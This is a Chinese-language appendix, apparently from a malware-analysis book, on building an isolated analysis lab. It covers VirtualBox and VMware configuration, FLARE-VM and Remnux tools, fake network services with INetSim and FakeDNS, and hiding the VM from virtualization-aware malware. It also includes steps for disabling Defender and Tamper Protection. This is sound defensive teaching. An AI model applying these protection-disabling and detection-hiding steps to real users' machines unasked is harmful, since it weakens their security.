通常情况下,我几乎总是将我的分析虚拟机设置为主机仅模式(Host-Only)。我使用一台 Linux 虚拟机作为网络网关,让 Windows 受害者虚拟机伪造互联网连接,我们稍后会详细讨论这个方法。然而,如第六章所述,一种越来越常见的反虚拟机和反沙盒技术是恶意软件尝试联系远程服务器,以确定虚拟机是否已连接到互联网。一些恶意软件还可能从攻击者控制的服务器下载模块或有效载荷,如果分析环境被隔离,你可能会错过这类活动。在这些特殊情况下,将虚拟机设置为 NAT 模式或桥接模式是有意义的。只需意识到将恶意软件连接到互联网的风险。例如,恶意软件可能会从你的虚拟机窃取数据(例如剪贴板内容或任何虚拟共享驱动器中的数据),甚至将你的虚拟机添加到僵尸网络中,在这种情况下,你的虚拟机可能会在未经过你同意的情况下被用于犯罪活动。
要在 VirtualBox 中配置虚拟机的网络适配器,请导航至设置网络,在适配器 1 标签页中,确保勾选了启用网络适配器。然后,在附加到下拉菜单中,根据需要将虚拟机网络适配器更改为主机仅适配器、NAT或桥接(参见图 A-4)。现在,选择NAT模式或桥接模式,因为稍后你将需要访问互联网。

图 A-4:在 VirtualBox 中配置虚拟机的网络适配器
如果你无法将网络适配器设置为 NAT 模式,你可能需要先在 VirtualBox 中配置一个 NAT 网络。要做到这一点,请导航至文件首选项网络,然后点击+。
要在 VMware Workstation 中配置网络适配器,请导航至虚拟机设置硬件网络适配器,然后选择所需的网络连接类型(参见图 A-5)。现在,选择NAT模式或桥接模式。

图 A-5:在 VMware Workstation 中配置虚拟机的网络适配器
MAC 地址
网络配置选项中还列出了 MAC 地址设置。虚拟化管理程序通常为其虚拟网络适配器使用标准的 MAC 地址范围。例如,VirtualBox 可能使用 MAC 地址前缀 00:00:7D、00:01:5D、00:0F:4B、00:10:E0、00:14:4F、00:21:28、00:21:F6、08:00:27 或 52:54:00。VMware 可能使用前缀 00:05:69、00:0C:29、00:1C:14 或 00:50:56。
为了绕过基于 MAC 地址的虚拟机检测,只需将虚拟机的默认 MAC 地址更改为不同的前缀。
注意
要查看完整的 MAC 地址前缀列表,请访问 gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e4。理想情况下,选择与知名网络适配器制造商相对应的 MAC 地址。
要在 VirtualBox 中更改 MAC 地址,导航到 设置网络。在“适配器 1”选项卡中,点击“高级”旁边的箭头,然后在 MAC 地址字段中输入新地址(参见图 A-6)。

图 A-6:VirtualBox 中的网络适配器设置
对于 VMware,导航到 设置网络适配器高级,并在 MAC 地址字段中输入新地址(参见图 A-7)。

图 A-7:VMware 中的网络适配器设置
在 VirtualBox 和 VMware 中,你可以通过点击 MAC 地址字段旁边的刷新符号(VirtualBox)或 生成(VMware)来生成随机的 MAC 地址。然而,生成的随机地址仍然在正常的虚拟化管理程序地址范围内,因此最好手动设置一个新的前缀,以避免被检测到。
剪贴板和拖放设置
一些虚拟化管理程序(包括 VMware Workstation 和 VirtualBox)允许主机与客户系统之间共享剪贴板。这意味着你可以从主机机器复制数据并粘贴到客户虚拟机中,反之亦然。此功能可能很方便,但也带来一定风险。当启用剪贴板共享时,主机系统剪贴板中的任何数据理论上都可以被客户虚拟机访问。如果你将敏感数据(如密码)复制到主机的剪贴板中,运行在客户虚拟机中的恶意软件可能会访问这些数据。同样,恶意软件也可能利用剪贴板向主机系统写入数据,或利用虚拟化管理程序中的潜在漏洞。虽然这种情况不太可能发生,但仍有可能。
拖放功能允许你将文件从主机机器拖(复制)到来宾虚拟机,反之亦然。就像剪贴板共享一样,这可能会将主机机器暴露于比必要的更多风险,具体取决于你正在分析的恶意软件的性质。仅在绝对需要时才启用这些功能。
要关闭 VirtualBox 中的剪贴板和文件拖放设置,请前往 设置常规高级,并在 共享剪贴板 和 拖放 下拉菜单中选择 禁用(见 图 A-8)。

图 A-8:VirtualBox 中的剪贴板和拖放设置
在 VMware 中,前往 设置选项来宾隔离,如 图 A-9 所示。

图 A-9:VMware 中的剪贴板和拖放设置
在此菜单中,通过取消选择 启用拖放 和 启用复制粘贴 选项来禁用拖放和剪贴板共享。
共享文件夹
共享文件夹允许从来宾操作系统到主机操作系统轻松共享文件。但请记住,恶意软件也会访问你共享文件夹中的任何内容。(我是在吃了大亏后才学到这一点。)只有在必要时才启用共享文件夹;如果必须使用它们,至少将其设置为“只读”作为最基本的预防措施。
你可以在 VirtualBox 中找到共享文件夹设置(见 图 A-10),方法是前往 设置共享文件夹。

图 A-10:VirtualBox 中的共享文件夹设置
要在 VirtualBox 中添加共享文件夹,点击菜单右侧带有加号 (+) 的文件夹图标。你也可以通过双击“机器文件夹”下的共享文件夹来编辑共享文件夹配置。要删除共享文件夹,点击带有(X) 标志的文件夹图标。
在 VMware 中,共享文件夹设置也在 设置 共享文件夹(见 图 A-11)。

图 A-11:VMware 中的共享文件夹设置
你可以从此菜单中添加和编辑共享文件夹。要禁用共享文件夹,请在 文件夹共享 下选择 禁用。
注意
剪贴板共享、拖放设置和共享文件夹仅在你的虚拟机中安装了可选的 VirtualBox 客户端附加工具或 VMware 工具时有效。我们将在本章稍后讨论这些工具。
安装 Windows 恶意软件分析工具
现在你应该拥有一个功能齐全的 Windows 虚拟机,并且该虚拟机已经进行了调整,能有效抵抗许多基本的虚拟机检测与规避技术。然而,仅此还不足以支持你的恶意软件分析之旅;你还需要分析工具。我推荐下载并安装 FLARE-VM(https://
如果你选择不安装 FLARE-VM,至少应采取以下措施来准备你的恶意软件分析环境:
1. 禁用 Windows 更新。 通常,你不希望你的恶意软件分析环境接收定期的 Windows 更新,因此最好将其禁用。具体操作方法,请参阅 https://
2. 禁用 Windows 篡改保护。 在禁用 Microsoft Defender(下文描述)之前,禁用 Windows 篡改保护是必要的一步。你可以在 Windows 安全病毒与威胁防护 设置中禁用篡改保护。有关禁用篡改保护的更多信息,请参阅 https://
3. 禁用 Microsoft Defender。 禁用 Defender 可防止反恶意软件软件干扰你的恶意软件分析环境。了解如何禁用它,请访问 https://
如果你选择不安装 FLARE-VM,你需要手动安装这些工具。表 A-1 总结了我在环境中使用的工具,其中许多工具我在本书中提到过,以及它们的功能。
表 A-1: 基于 Windows 的恶意软件分析工具
| 工具类型 | 用途 | 示例 |
|---|---|---|
| 高级任务管理器 | 与运行中的进程和恶意软件交互 | Process Hacker https://processhacker.sourceforge.io |
| 调试器 | 动态分析恶意代码 | x64dbg https://github.com/x64dbg/x64dbg |
| 反汇编器 | 逆向工程恶意软件 | IDA Pro https://hex-rays.com/ida-free/Ghidra https://github.com/NationalSecurityAgency/ghidra |
| 文件检测器 | 检测各种文件类型,识别打包器和混淆器等 | Detect It Easy https://github.com/horsicq/DIE-engine/releases |
| 十六进制编辑器 | 查看和修改二进制数据 | HxD https://mh-nexus.de/en/hxd/ |
| 网络监控工具 | 监控和检查恶意软件样本的网络交互 | Wireshark https://www.wireshark.org |
| PE 分析器 | 概览基于 PE 的恶意软件 | PEStudio https://www.winitor.com/download |
| 进程监视器 | 监视恶意软件进程及其与操作系统的交互 | Procmon https://learn.microsoft.com/en-us/sysinternals/downloads/procmon |
| 注册表与基线对比工具 | 在引爆恶意软件后,将系统状态与基线状态进行对比 | Regshot https://sourceforge.net/projects/regshot/ |
| Web 代理 | 拦截并监视恶意软件发起的网页请求 | Fiddler https://www.telerik.com/fiddler |
根据你分析的恶意软件类型,你可能需要其他工具和软件。例如,如果你处理的是 Excel 和 Word 文件,你需要安装 Microsoft Office;要分析恶意 PDF 文件的行为,可能需要 Adobe Acrobat;如果你在调查 .NET 可执行文件,你需要 .NET 框架及其相关库。确保识别、安装并配置好你在分析文件时需要的所有软件。请注意,FLARE-VM 可能不包含你所需要的所有工具,因此你可能需要手动安装它们。
安装 VM 工具
VM 工具 是一个通用术语,指可以安装在来宾虚拟机中的虚拟化软件。在 VirtualBox 中,这个工具集被称为“来宾附加组件”;在 VMware Workstation 中,它被称为 VMware 工具。这些软件可以提高虚拟机的可用性和性能,还提供了共享文件夹、剪贴板共享等实用功能。不幸的是,这些工具也会引入一些异常,比如进程和驱动程序文件,恶意软件可以利用这些异常来检测虚拟化环境。
即使存在一定的风险,这些工具为分析虚拟机增加了便捷的功能和额外的性能。我采取双重方法:我有一台未安装 VM 工具的 Windows 虚拟机和一台已安装的虚拟机。我将已安装工具的虚拟机作为我的主要分析环境。如果我正在调查的恶意软件特别擅长逃避和检测虚拟机,我就切换到没有安装工具的虚拟机。这对我来说效果很好,也可能对你同样有效。
另一种选择是在引爆有问题的恶意软件之前,使用 Windows 软件卸载程序卸载 VM 工具。最后,还有两个工具,VBoxCloak 和 VMwareCloak,它们提供了清理安装 VM 工具后遗留的某些文件和 杂物(不需要的进程和遗留物)的选项。我们将在本章后面讨论它们。
要在 VirtualBox 虚拟机中安装 Guest Additions,启动虚拟机并在 Windows 启动后,进入 设备插入 Guest Additions CD 镜像。
Guest Additions 安装程序文件现在可以在虚拟机的虚拟光驱中访问。在我的情况下,这是 D: 驱动器。双击 VBoxWindowsAdditions.exe 可执行文件以启动 Guest Additions 安装程序(见图 A-12)。安装后不要忘记重新启动虚拟机。

图 A-12:安装 Guest Additions
若需要更多信息或帮助,请参见 VirtualBox Guest Additions 文档:https://
对于 VMware Workstation 的较新版本,VMware Tools 通常会自动安装。如果需要手动安装,过程与 VirtualBox 的几乎完全相同。在 VMware Workstation 的虚拟机中,导航至 VM安装 VMware Tools。(在我的情况下,此选项显示为 重新安装 VMware Tools,因为我已经安装了工具,如图 A-13 所示。)与 VirtualBox Guest Additions 相同,安装后你需要重新启动虚拟机。

图 A-13:安装 VMware Tools
现在我们稍作休息,暂时离开 Windows 虚拟机,讨论如何设置 Linux 虚拟机。
安装和配置 Linux 虚拟机
在你的实验室中拥有一个 Linux 虚拟机的主要好处之一是,它可以充当 Windows 虚拟机的轻量级网关。当你在 Windows 虚拟机中引爆恶意软件时,Linux 虚拟机可以拦截网络流量以供后续分析,甚至可以伪造网络和互联网服务,稍后你将看到这一点。我在我的实验室中使用 Remnux,所以本指南将介绍这个工具。正如本章前面提到的,Remnux 是一个预打包的、功能完备的 Linux 恶意软件分析环境。它包含了你进行恶意文件和代码静态分析时所需的大多数工具,还提供了一些动态分析选项(如代码仿真工具)。你可以在 https://
> **remnux upgrade**
> **remnux update**
注意
在更新 Remnux 到最新版本之前,你需要为 Remnux 提供互联网访问权限,因此在使用之前,务必将其网络适配器设置为 NAT 或桥接模式。更新完成后,你可以将其恢复为仅主机模式。
手动安装 Linux 虚拟机工具
使用 Remnux 是可选的,你也可以选择从头开始配置自己的 Linux 虚拟机。如果你选择这样做,你需要自行安装恶意软件分析工具。表 A-2 列出了我认为在恶意软件分析中必不可少的一些 Linux 工具。这些工具在 Remnux 中已预安装并配置好。需要注意的是,一些工具也包含在 Windows 版的 FLARE-VM 中。
表 A-2: Linux 恶意软件分析工具
| 工具 | 用途 |
|---|---|
| Base64dump https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py | 识别并提取文件中的 Base64 编码数据 |
| Binwalk https://github.com/ReFirmLabs/binwalk | 分析二进制镜像并提取嵌入的文件(例如使用隐写术技术的恶意软件) |
| CAPA https://github.com/mandiant/capa | 扫描并检测可执行文件中的可疑签名,例如潜在的规避和混淆技术 |
| ExifTool https://exiftool.org | 识别文件类型并允许查看和编辑其元数据 |
| FakeDNS https://github.com/SocialExploits/fakedns/blob/main/fakedns.py | 响应 DNS 查询并模拟 DNS 服务 |
| FLOSS https://github.com/mandiant/flare-floss | 从 PE 文件中提取编码和混淆的字符串 |
| INetSim (互联网服务模拟套件) https://www.INetSim.org | 模拟不同的网络服务(如 DNS、FTP 和 HTTP) |
| Speakeasy https://github.com/mandiant/speakeasy | 模拟可执行代码和 shellcode |
| XORSearch https://blog.didierstevens.com/programs/xorsearch/ | 扫描文件,查找以各种格式(如 XOR 或 ROL)编码和混淆的字符串 |
| Yara https://github.com/Yara-Rules/rules | 识别并分类恶意软件 |
这一部分只是粗略介绍了 Remnux 和基于 Linux 的分析环境中可用的有用工具;还有恶意文档分析工具、模拟工具和内存取证工具,但对它们的全面讨论超出了本书的范围。
配置和验证网络设置
你几乎完成了恶意软件分析实验室的设置,但还有几个步骤。在继续之前,请确保你的 Windows 虚拟机和 Remnux 虚拟机的网络适配器都设置为 仅主机。这对于你接下来完成实验室设置的步骤非常重要。
接下来,你需要从 Remnux 虚拟机中获取一些网络适配器信息。在 Remnux 的终端中执行 ifconfig 命令。图 A-14 显示了一些示例输出。

图 A-14:获取 Remnux 操作系统网络配置
输出中列出的第一个条目是我们关心的内容。该虚拟机的 inet(IP)地址是 192.168.56.101,子网掩码是 255.255.255.0。你的结果可能会有所不同,具体取决于你的 Remnux 配置以及你是否使用 VirtualBox 或 VMware。记下这些值,因为你稍后会用到它们。
返回到你的 Windows 虚拟机,并从开始菜单进入 Windows 网络设置。将 Windows 虚拟机的 IP 地址设置为与 Remnux 虚拟机相同的子网。(例如,如果你的 Remnux 虚拟机 IP 地址是 192.168.56.101,你可以将 Windows 虚拟机的 IP 地址设置为 192.168.56.102。)如果 Remnux 虚拟机的子网掩码是 255.255.255.0(默认值),在子网前缀长度字段中输入 24。对于网关地址,输入 Remnux 虚拟机的 IP 地址(因为 Remnux 将充当 Windows 虚拟机的网关),并在首选 DNS 地址中再次输入该地址。图 A-15 显示了此配置在 Windows 10 中的样子。

图 A-15:配置 Windows 虚拟机 IP 设置
点击 保存 来设置配置。你可能需要重启你的 Windows 虚拟机。
现在,你将测试 Remnux 虚拟机与 Windows 虚拟机之间的连接。确保两个虚拟机都已开机,并在 Windows 虚拟机中执行对 Remnux IP 的 ping 命令,如 图 A-16 所示。

图 A-16:测试实验室网络配置
此命令应返回一个 Reply,类似于这里显示的输出。如果没有返回,你可能需要进行一些故障排除。首先,确认 Remnux 虚拟机已开机,且 Windows 和 Remnux 的网络适配器在你的虚拟化管理程序中设置为“仅主机”(Host-Only),同时确保 Windows 的 IP 地址配置正确。
最后一步是完成你新的实验室环境:对虚拟机进行快照。 ### 创建和恢复虚拟机快照
正如本章前面提到的,快照允许你将虚拟机保存为某种状态;在这种情况下,就是在 Windows 虚拟机被恶意软件感染之前的原始干净状态。首先,通过操作系统内的正常关机来关闭你的 Windows 和 Remnux 虚拟机。
要在 VirtualBox 中创建快照,请选择你的 Windows 虚拟机并前往 SnapshotTake。确保为快照命名一个对你有意义的名称(例如“Windows 恶意软件分析 - 干净”)。对于 Remnux 虚拟机也重复此过程。
要在 VMware Workstation 中创建快照,右键点击 Windows 虚拟机并选择 SnapshotTake Snapshot。同样,为快照命名一个直观的名称,并对 Remnux 重复这些步骤。
要恢复到某个快照(例如,在你引爆并分析一个恶意软件样本之后),你需要访问虚拟化管理程序的快照管理器。在 VirtualBox 中,你可以通过选择虚拟机并导航到 MachineToolsSnapshots 来访问它。快照会显示在右侧窗格中的 Name 下。图 A-17 显示了我的虚拟机的快照列表。(我将列表中的第一个快照命名为“BASE – 08 Aug 23 – 原始 Windows 10”,但你可以根据自己的需要命名快照。)要恢复之前的快照,右键点击它并选择 Restore。

图 A-17:VirtualBox 快照管理器
在 VMware Workstation 中,快照管理器的位置稍微有点隐蔽。要访问它,右键点击你的虚拟机并选择 SnapshotsSnapshot Manager。你将看到一个树状图,显示所有快照,如 图 A-18 所示。只需右键点击某个快照并选择 Restore。

图 A-18:VMware 快照管理器
快照是非常强大的工具,不仅可以将虚拟机恢复到原始状态,还能防止分析中的麻烦。例如,我的一种策略是在调试的某些阶段创建快照。有时调试器会在分析过程中崩溃,或者恶意软件可能会偷偷执行代码以“逃脱”调试器。恢复到之前的调试快照可以让我避免从头开始。
如果你按照前面的步骤操作,你应该已经拥有一个正常工作的恶意软件分析实验室。你有一台 Windows 受害者虚拟机,可以安全地引爆恶意软件,还有一台 Linux 虚拟机,用于模拟网络服务和捕获网络流量。你还已经为 Windows 虚拟机配置了虚拟硬件,以抵御恶意软件的检测。现在,让我们来看一下如何配置操作系统以进一步隐蔽 Windows 虚拟机。
Windows 配置以实现隐蔽
有几个可选的 Windows 设置和技巧,可以应用于你的 Windows 虚拟机,帮助它躲避情境感知的恶意软件。大多数这些设置并不算高级,有些甚至看起来有些荒谬,但将它们纳入使用可以让你的分析系统更具韧性和隐蔽性。
注册表数据
正如你在第四章中所学,Windows 注册表包含大量与操作系统和硬件相关的信息,恶意软件可能会查询这些信息以检测虚拟机监控程序。幸运的是,你可以修改许多这些注册表键值和数据,以规避检测。你可以直接在 Windows 注册表编辑器(RegEdit)中进行修改,或者使用 PowerShell。例如,运行以下 PowerShell 命令来修改注册表键值:
PS C:\> **Set-ItemProperty -Path** **`Registry Path`** **-Name** **`Name of Value`** **-Value** **`Registry Data`**
要将 BIOSProductName 的值重命名为 Fake BIOS,请执行以下命令:
PS C:\> **Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\**
**SystemInformation" -Name "BIOSVersion" -Value "Fake BIOS"**
许多可能对恶意软件感兴趣的注册表键值会在不同版本的 Windows、虚拟机监控程序和补丁中更新,因此在这里列出所有这些键值并不可行。相反,我创建了一个简单的 PowerShell 脚本,能够清理注册表,隐藏其中的一些指示符,并完成其他一些虚拟机隐匿任务,我将在本节中讨论这些任务。你可以在 https://
主机名和域名
由于一些高级恶意软件会枚举分析环境的主机名、域名和用户账户信息,以确定它是否在虚拟机中运行,因此将这些值设置为无害的名称是明智的。恶意软件可能会寻找如 sandbox、virus、malware、VMware、virtualbox、test 或 cuckoo 等字符串。例如,最好在安装和配置系统时设置系统的主机名和主用户账户名,但你也可以在触发恶意软件之前更改这些设置。
使用 PowerShell 更改系统主机名,请使用以下命令:
PS C:\> **Rename-Computer -NewName "****`new hostname`****"**
要更改本地用户账户名,请使用以下命令:
PS C:\> **Rename-LocalUser -Name "****`current local username`****" -NewName "****`new local username`****"**
你需要重启虚拟机才能使这些更改生效。此外,一些恶意软件(如某些变种的窃取信息软件和勒索软件)会在感染系统之前,测试该系统是否属于企业域(或者,在更具针对性的恶意软件情况下,测试是否属于特定的企业域)。在这种情况下,向你的系统添加一个虚假的域名可以帮助你避免被检测到。你可以通过创建一个实际的域(使用域控制器)来实现,或者更简单地,通过执行以下 PowerShell 命令,将系统“添加”到域 corp.com:
PS C:\> **Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\**
**Parameters\" -Name "Domain" -Value "corp.com" -Force**
请记住,这个注册表更改并不会将 Windows 系统添加到真实的域中;它只是更改了恶意软件可能查询的一个配置设置。我创建了一个简短的脚本,自动更改系统的主机名和本地用户账户名,然后通过这个注册表技巧将虚拟机添加到一个虚假的域中。你可以在 https://
额外的技巧和窍门
这里有一些额外的配置技巧和窍门,在某些情况下可能会非常有用:
重命名分析工具并将其安装在非标准位置
一些狡猾的恶意软件会寻找正在运行的分析工具,如 Wireshark 或 Procmon。仅仅通过在启动之前重命名工具的可执行文件(例如,将 wireshark.exe 改为 krahseriw.exe)就能阻止这种检测技术。(请注意,这种方式重命名可执行文件可能会破坏工具的功能。)将工具安装在非默认位置也可能会有用。
添加诱饵文件
恶意软件可能会检查受害者系统的桌面或文档目录,只有在这些目录中有文件和文档时才会感染系统。向这些目录添加一些虚假的文档(例如 invoice.doc、passwords.txt 等)来模拟正常的 Windows 用户是没有坏处的。
激活鼠标
上下文感知的恶意软件可能会在鼠标移动或按下某个鼠标按钮时才会激活。手动移动鼠标和点击可以帮助绕过这些简单的鼠标检测技术。你甚至可以通过使用像 PyAutoGUI 这样的 Python 库,在你的虚拟机(VM)和沙箱中自动化鼠标活动(https://
更改恶意软件的文件名和路径
恶意软件有时会检查其运行位置,以查看其文件名和路径。一些恶意软件沙箱会自动使用恶意文件的 MD5 或 SHA-1 哈希命名文件,这可能会暴露其身份。为了隐藏你的虚拟机,最好将恶意软件文件命名为随机名称,并避免在文件名或路径中包含如 malware(恶意软件)、virus(病毒)、lab(实验室)等词。一些恶意软件还会检查其运行路径,以确保它是从作者预期的目录中运行,而不是从 Documents(文档)、Desktop(桌面)等目录中。有时,恶意软件甚至会验证它是否仍然保持着原始文件名。
工具 exiftool(我在本章中稍微提到过)以及许多其他 PEStudio 类工具,可以让你查看可执行文件的“原始文件名”字段,这可能是恶意文件最初名称的线索。在下面的代码中,你可以看到 exiftool 的输出和可执行文件的原始名称:
> **exiftool malware.exe**
`--snip--`
File Version : 6.0.7.2527
Internal Name : RealOne Player
Legal Copyright : Copyright © 2001-2002
**Original File Name : player.exe**
Product Name : RealOne Player
`--snip--`
你甚至常常可以在恶意软件文件的字符串中找到指示其原始文件名的线索,如这个例子(epmntdrv.sys)所示:
> **strings evil.bin**
`--snip--`
Invalid parameter passed to C runtime function.
h:\projectarea\00_source\mod.windiskaccessdriver\epmntdrv.sys
ExAllocatePoolWithTag
`--snip--`
增加系统启动时间
恶意软件可能会检查系统启动了多长时间才完全执行,或者如果系统的启动时间不足,它可能不会运行。在启动分析虚拟机后等待几分钟再激活恶意软件,可能会欺骗它执行。更好的做法是在感染虚拟机之前,让虚拟机运行 20 分钟,然后拍摄系统快照。之后你可以恢复到这个快照,虚拟机已经处于一个正在运行的状态,准备好进行恶意软件激活。
模拟你的组织或恶意软件目标
在激活目标恶意软件样本之前,你可以配置环境使其尽可能接近恶意软件的目标。例如,将机器加入到一个虚假的但看似真实的域中,可能有助于提取恶意软件的行为,否则你可能无法看到这些行为。
第二部分详细讨论了虚拟机的痕迹和检测,因此请参考这些章节以获取更多信息,帮助你隐藏分析用的虚拟机。
高级虚拟机和虚拟化程序加固
除了虚拟机硬件和客户操作系统配置外,您还可以将所谓的加固技术应用于虚拟机和虚拟化管理程序。加固 涉及配置虚拟机或虚拟化管理程序的更高级设置,甚至直接修补虚拟化管理程序。本节将讨论 VMware Workstation 和 VirtualBox 的一些工具和技术。
注意
这些技术包括在书中是为了完整性。根据您的主机操作系统、客户操作系统和虚拟化管理程序版本,它们可能无效,甚至可能导致虚拟机的稳定性或性能问题,因此请自行承担风险。
加固 VMware
每个 VMware 虚拟机都有一个 VMX (.vmx) 文件,包含机器的配置。您可以修改此文件来配置虚拟机的一些更高级的选项。VMX 文件位于虚拟机的主目录中。(例如,在我的 Linux 主机上,它位于 /home/
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
向 VMX 文件中添加这一简单的行,可能有助于通过镜像主机的系统信息来隐藏您的虚拟机:
SMBIOS.reflectHost = "True"
恶意软件还可能尝试检测您的 VMware 虚拟机的硬盘驱动器型号,如果硬件是虚拟化的,它将非常通用。为了规避这一点,请将这些行添加到您的 VMX 文件中(您可以将“Samsung”替换为任何您喜欢的内容):
scsi0:0.productID = "Samsung SSD"
scsi0:0.vendorID = "Samsung"
为了抵御一些基于 cpuid 和 rdtsc 的虚拟机检测技术,请在您的 VMX 文件中添加以下行:
hypervisor.cpuid.v0 = "FALSE"
monitor_control.virtual_rdtsc = "FALSE"
注意
正如第七章所讨论的,cpuid 可以用来检测机器的处理器是否被虚拟化,而 rdtsc 可以用来执行处理器时序分析。
这些是简单的更改,但如前所述,根据您的操作系统和版本,效果可能不同。例如,我在使用运行 Linux Ubuntu 20 的主机和 Windows 10 客户虚拟机时,无法通过 SMBIOS.reflectHost 技巧将主机系统信息反射到虚拟机中。然而,它在 Windows 10 主机和 Windows 10 客户虚拟机上是有效的。
这里是您可以添加到虚拟机中的其他已知 VMX 配置:
SMBIOS.noOEMStrings = "TRUE"
serialNumber.reflectHost = "TRUE"
hw.model.reflectHost = "TRUE"
board-id.reflectHost = "TRUE"
monitor_control.restrict_backdoor = "TRUE"
monitor_control.disable_directexec = "TRUE"
monitor_control.disable_reloc = "TRUE"
monitor_control.disable_btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable_btpriv = "TRUE"
monitor_control.disable_btseg = "TRUE"
monitor_control.disable_chksimd = "TRUE"
monitor_control.disable_ntreloc = "TRUE"
monitor_control.disable_selfmod = "TRUE"
此配置中的第一组可能有助于通过将主机信息反射到来宾操作系统来隐藏虚拟机,而不是使用默认的 VMware 字符串。第二组与二进制代码在来宾虚拟机中如何模拟、虚拟机如何与物理处理器交互以及其他功能相关。这些设置有助于绕过利用这些设置来检测虚拟机的恶意软件。这些配置大多数没有 VMware 的文档记录,但一些重要的项目试图识别并详细说明它们。例如,查看 Tom Liston 和 Ed Skoudis 在他们的报告《On the Cutting Edge: Thwarting Virtual Machine Detection》中所做的研究,地址是 https://
加固 VirtualBox
调整 VirtualBox 稍微棘手一些;它没有类似于 VMX 文件的配置文件。相反,你必须使用 VBoxManage,这是一个专门为 Windows 和 Linux 设计的应用程序,用于对 VirtualBox 虚拟机进行配置更改。例如,为了防止一些 rdtsc 虚拟机检测技术,你可以通过在命令行中运行以下命令来配置你的虚拟机:
> **VBoxManage setextradata "vm_name" VBoxInternal/TM/TSCMode RealTSCOffset**
> **VBoxManage setextradata "vm_name" VBoxInternal/CPUM/SSE4.1 1**
> **VBoxManage setextradata "vm_name" VBoxInternal/CPUM/SSE4.2 1**
相比 VMware,VirtualBox 中的一些配置比较复杂,并且(在撰写本文时)很难找到相关信息。幸运的是,由于 VirtualBox 是开源的,一些社区成员编写了针对 VirtualBox 及其虚拟机的加固工具。就像 VMware 一样,也有 VBoxHardenedLoader (https://
一些加固工具的主要问题是它们可能会在不同版本的虚拟化程序下失效,因此必须为每个新的 VirtualBox 版本进行修改。与本章中提到的任何工具或配置一样,你的成功取决于你具体的实验室环境。
压力测试您的虚拟机
在引爆恶意软件之前,尤其是潜在的规避恶意软件,使用像 Pafish(https://

图 A-19:Pafish 在 VirtualBox 虚拟机中的运行
你可以看到,Pafish 使用多个不同的指标(通过“traced!”信息表示)检测到我的虚拟机,例如 CPU 定时计数器、缺乏空闲磁盘空间和操作系统的正常运行时间。与 Pafish 类似的两个工具是 Al-Khaser(https://
完全隐藏虚拟机免受像 Pafish 和 Al-Khaser 等压力测试软件使用的所有技术是非常困难的。毕竟,这些工具专门为虚拟机检测而设计。请记住,恶意软件分析的目标不是通过压力测试,而且在野外,恶意软件样本使用所有这些技术的可能性也非常小。
也就是说,你可以通过使用裸机分析系统或仪器工具在压力测试中获得更高的分数(当然,也能阻止恶意软件),我们将在本章末尾简要介绍这两者。
操作安全与效率的建议
操作安全(OPSEC) 对于恶意软件分析至关重要。适当的操作安全包括安全地处理恶意软件和调查工具,以保护自己和他人,包括当你专业分析恶意软件时,保护你的组织。
以任何方式分析恶意软件本质上都是有风险的。你可能会暴露主机机器的凭证或敏感文件,尤其是当虚拟机启用了文件夹和剪贴板共享功能时。你可能在调查恶意基础设施时无意间泄露自己的家庭 IP 地址给威胁行为者。或者,通过允许恶意软件样本从你的虚拟机连接到 C2 服务器,你可能会向威胁行为者透露你的调查,可能会带来负面后果。为了减轻这些风险,本节提供了一些分析恶意软件时既安全又有效的常见建议。
模拟网络服务
在连接到互联网或甚至本地网络的虚拟机中引爆恶意软件是有风险的,因此一个更安全的替代方案是模拟网络服务。使用 INetSim 和 FakeDNS 等工具,你可以欺骗恶意软件,让它相信自己在一个联网或可访问互联网的环境中运行。INetSim 可以模拟多种类型的网络服务,如 FTP 和 HTTP,而 FakeDNS 专门用于模拟 DNS 服务。
网络模拟是使用之前设置的 Remnux 虚拟机(VM)进行的一个简单过程。首先,确保 Remnux 和 Windows 虚拟机的网络适配器处于主机仅模式,并且 Remnux 虚拟机已经开启。在 Remnux 的终端中输入以下命令:
> **accept-all-ips start**
accept-all-ips脚本将网关(此处为 Remnux)配置为接受所有 IPv4 和 IPv6 地址,并将其重定向到相应的本地端口。简而言之,这使得 Remnux 能够拦截、监控或操控从 Windows 虚拟机发送到特定 IP 地址的网络流量。
接下来,输入此命令以启动 INetSim 服务:
> **inetsim**
你应该看到类似下面的输出:
remnux@remnux:~$ inetsim
INetSim 1.3.2 (2020-05-19) by Matthias Eckert & Thomas Hungenberg
Using log directory: /var/log/inetsim/
Using data directory: /var/lib/inetsim/
Using report directory: /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 1511) ===
Session ID: 1511
Listening on: 192.168.56.102
Real Date/Time: 2024-03-25 15:39:28
Fake Date/Time: 2024-03-25 15:39:28 (Delta: 0 seconds)
Forking services...
* smtps_465_tcp - started (PID 1518)
* ftp_21_tcp - started (PID 1521)
* smtp_25_tcp - started (PID 1517)
* http_80_tcp - started (PID 1515)
* pop3_110_tcp - started (PID 1519)
* ftps_990_tcp - started (PID 1522)
* pop3s_995_tcp - started (PID 1520)
* https_443_tcp - started (PID 1516)
done.
Simulation running.
--`snip`--
然后输入fakedns命令,如下所示:
> **fakedns**
这应该会生成类似下面代码的输出(如果你的 Windows 虚拟机尚未开启并与 Remnux 虚拟机通信,你可能不会看到这么多输出):
remnux@remnux:~$ fakedns
fakedns[INFO]: dom.query. 60 IN A 192.168.56.102
fakedns[INFO]: Response: au.download.windowsupdate.com -> 192.168.56.102
fakedns[INFO]: Response: api.msn.com -> 192.168.56.102
fakedns[INFO]: Response: slscr.update.microsoft.com -> 192.168.56.102
--`snip`--
接下来,启动你的 Windows 虚拟机。Windows 启动后,通过浏览器访问你喜欢的网站来测试 FakeDNS 和 INetSim。如果你正确配置了一切,你应该会看到类似图 A-20 所示的页面。

图 A-20:INetSim 和 FakeDNS 正常工作
INetSim 和 FakeDNS 成功拦截了你的网页请求。现在,当你在 Windows 虚拟机中引爆恶意软件时,网络连接也将被捕获,并可以稍后进行分析。在捕获和分析来自受感染的 Windows 虚拟机的网络流量时,记住 Windows 的流量非常嘈杂。许多流量是无害的,因此你的任务是过滤出真正有意义的部分。
注意
INetSim 将网络连接的详细日志存储在 /var/log/inetsim,其配置文件存储在 /etc/inetsim/inetsim.conf。配置 INetSim 超出了本章的范围,但你可以在 www.inetsim.org/documentation.html上阅读更多相关信息。
